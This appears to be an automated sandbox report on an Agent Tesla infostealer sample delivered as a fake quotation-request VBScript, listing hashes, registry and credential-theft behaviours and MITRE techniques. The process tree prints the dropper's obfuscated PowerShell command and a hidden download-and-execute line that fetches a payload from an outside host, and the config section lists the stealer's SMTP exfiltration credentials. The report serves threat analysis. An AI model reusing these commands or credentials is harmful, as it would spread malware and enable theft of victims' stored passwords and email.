agenttesla | 2b94576fd11ef2c01df19e1170274e70e5c63dc307959b6470a94df6d5b8d823

General

Target

IFE Gmbh,and Engineering Request for Quotation (RFQ).vbs
Size

319KB
MD5

9024ed9423885c42335a151dfcefc576
SHA1

79e677b68313d7866199bd1b48e39ec0fed164df
SHA256

bdc3b394b6fa647e13f3b728786c14a58e44af9f174563550a7bab578303d1c8
SHA512

4ef549b5f61398fbfaaa213992acc64de52febff9fefc0310b360e25dff34535117278a341e6dd521e07b880e9db6c7f4476a9aea6fad51a863e8dce7af4139b
SSDEEP

384:zBBcRvxarYgnF600/tKx3y4ZJDlIh6dJhq:zBBnq6DlIh6dJhq

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://cryptersandtools.minhacasa.tv/e/e

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.seylan-lk.icu
Port:
587
Username:
[email protected]
Password:
@=~Uk=x~G-ua
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	868	powershell.exe
11	868	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 868 set thread context of 4636	868	powershell.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
228	powershell.exe
228	powershell.exe
868	powershell.exe
868	powershell.exe
4636	RegAsm.exe
4636	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	228	powershell.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	4636	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 224 wrote to memory of 228	224	WScript.exe	83
PID 224 wrote to memory of 228	224	WScript.exe	83
PID 228 wrote to memory of 868	228	powershell.exe	85
PID 228 wrote to memory of 868	228	powershell.exe	85
PID 868 wrote to memory of 4636	868	powershell.exe	86
PID 868 wrote to memory of 4636	868	powershell.exe	86
PID 868 wrote to memory of 4636	868	powershell.exe	86
PID 868 wrote to memory of 4636	868	powershell.exe	86
PID 868 wrote to memory of 4636	868	powershell.exe	86
PID 868 wrote to memory of 4636	868	powershell.exe	86
PID 868 wrote to memory of 4636	868	powershell.exe	86
PID 868 wrote to memory of 4636	868	powershell.exe	86

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IFE Gmbh,and Engineering Request for Quotation (RFQ).vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgBz⁂G8⁂ZwBu⁂G8⁂YgB3⁂GU⁂bg⁂v⁂D⁂⁂O⁂⁂u⁂Dg⁂N⁂⁂u⁂D⁂⁂O⁂⁂x⁂C4⁂N⁂⁂5⁂DE⁂Lw⁂v⁂Do⁂c⁂B0⁂HQ⁂a⁂⁂n⁂Ck⁂KQ⁂=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.sognobwen/08.84.081.491//:ptth'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:868
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:4636

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
7274a07d1b80de6f66290b47588cee3b

SHA1
d926b384806c755fe6b9d03f68852765aabb5703

SHA256
5eba7517357473e4d5d7ede75c3768069c578d2b0023473fd67f76b373430de8

SHA512
b7813fea9091298d48c87b259b0d4473ddc4480667f82ed6b5f8bdfa600590dcbfb1d62cbaca649dcf321d85cb786bf62d48826ab04297a22b7c88439b94bcf3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2kk4ikba.le5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/228-152-0x000002D023A60000-0x000002D023A70000-memory.dmp

Filesize
64KB

Download
memory/228-153-0x000002D023A60000-0x000002D023A70000-memory.dmp

Filesize
64KB

Download
memory/228-134-0x000002D03DBF0000-0x000002D03DC12000-memory.dmp

Filesize
136KB

Download
memory/868-154-0x000002951FD60000-0x000002951FD70000-memory.dmp

Filesize
64KB

Download
memory/4636-161-0x0000000005310000-0x00000000058B4000-memory.dmp

Filesize
5.6MB

Download
memory/4636-155-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/4636-162-0x0000000004E40000-0x0000000004EA6000-memory.dmp

Filesize
408KB

Download
memory/4636-163-0x0000000004EC0000-0x0000000004ED0000-memory.dmp

Filesize
64KB

Download
memory/4636-164-0x0000000005D30000-0x0000000005D80000-memory.dmp

Filesize
320KB

Download
memory/4636-165-0x0000000005F50000-0x0000000006112000-memory.dmp

Filesize
1.8MB

Download
memory/4636-166-0x0000000005E20000-0x0000000005EB2000-memory.dmp

Filesize
584KB

Download
memory/4636-167-0x0000000005DC0000-0x0000000005DCA000-memory.dmp

Filesize
40KB

Download
memory/4636-168-0x0000000004EC0000-0x0000000004ED0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads